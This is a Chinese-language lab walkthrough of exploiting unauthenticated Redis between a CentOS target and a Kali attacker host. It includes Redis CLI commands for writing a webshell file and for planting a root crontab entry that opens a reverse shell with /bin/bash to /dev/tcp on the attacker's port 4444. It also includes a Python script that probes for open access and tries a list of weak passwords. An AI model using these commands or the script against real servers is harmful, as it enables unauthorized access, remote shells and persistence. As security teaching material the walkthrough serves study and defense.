Redis未授权访问
1环境配置:
靶机:Centos7 IP:192.168.123.80
安装redis:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

解压安装包:tar xzf redis-2.8.17.tar.gz
进入redis目录:cd redis-2.8.17
编译安装:make
[root@localhost redis-2.8.17]#cd src/
[root@localhost src]# cp redis-server /usr/bin/
[root@localhost src]# cp redis-cli /usr/bin/
[root@localhost src]# cd ..
[root@localhost redis-2.8.17]# cp redis.conf /etc/
启动redis服务
[root@localhost redis-2.8.17]# redis-server /etc/redis.conf

攻击机:Kali IP:192.168.123.62 (重复centos安装的步骤)
安装redis:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
解压安装包:tar xzf redis-2.8.17.tar.gz
进入redis目录:cd redis-2.8.17
编译安装:make
cp redis-server /usr/bin/
cp redis-cli /usr/bin/

cd ..
cp redis.conf /etc/
环境到这里就配置完成。
2.漏洞复现:
2.1未授权漏洞访问
在kali上执行: redis-cli -h 192.168.123.80
使用redis客户端直接无账号成功登录redis:

常见Raids命令:

未授权访问和使用的redis版本没有关系。
修改配置文件,使可以远程访问:
bind 127.0.0.1前面加上#号
protected-mode设为no
2.2利用redis 写webshell
当自己的redis权限不高时,可以向web里写入webshell,但需要对方有web服务且有写入权限。
由于我的web服务用户是apache,所以我在/home/flamingo写入文件
在Kali上连接到Centos的redis服务

写入以下命令:
192.168.123.80:6379> config set dir /home/flamingo
192.168.123.80:6379> config set dbfilename redis.php
192.168.123.80:6379>set webshell "\r\n\r\n\r\n\r\n"
192.168.123.80:6379>** save**

然后再到centos上面查看

查看文本内容

如果能够直接写入到web服务目录下面就直接可以使用php一句话,然后蚁剑连接。
2.3 利用crontab反弹shell
在权限足够的情况下,利用redis写入文件到计划目录下执行
端口监听:
再Kali上监听端口:

将反弹shell写入到计划任务
192.168.123.80:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.123.62/4444 0>&1\n\n"
192.168.123.80:6379> config set dir /var/spool/cron/
192.168.123.80:6379> config set dbfilename root
192.168.123.80:6379> save

扩展
采用python脚本测试是否存在未授权或者弱口令
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
命令:python redis-auth-test.py ip port


浙公网安备 33010602011771号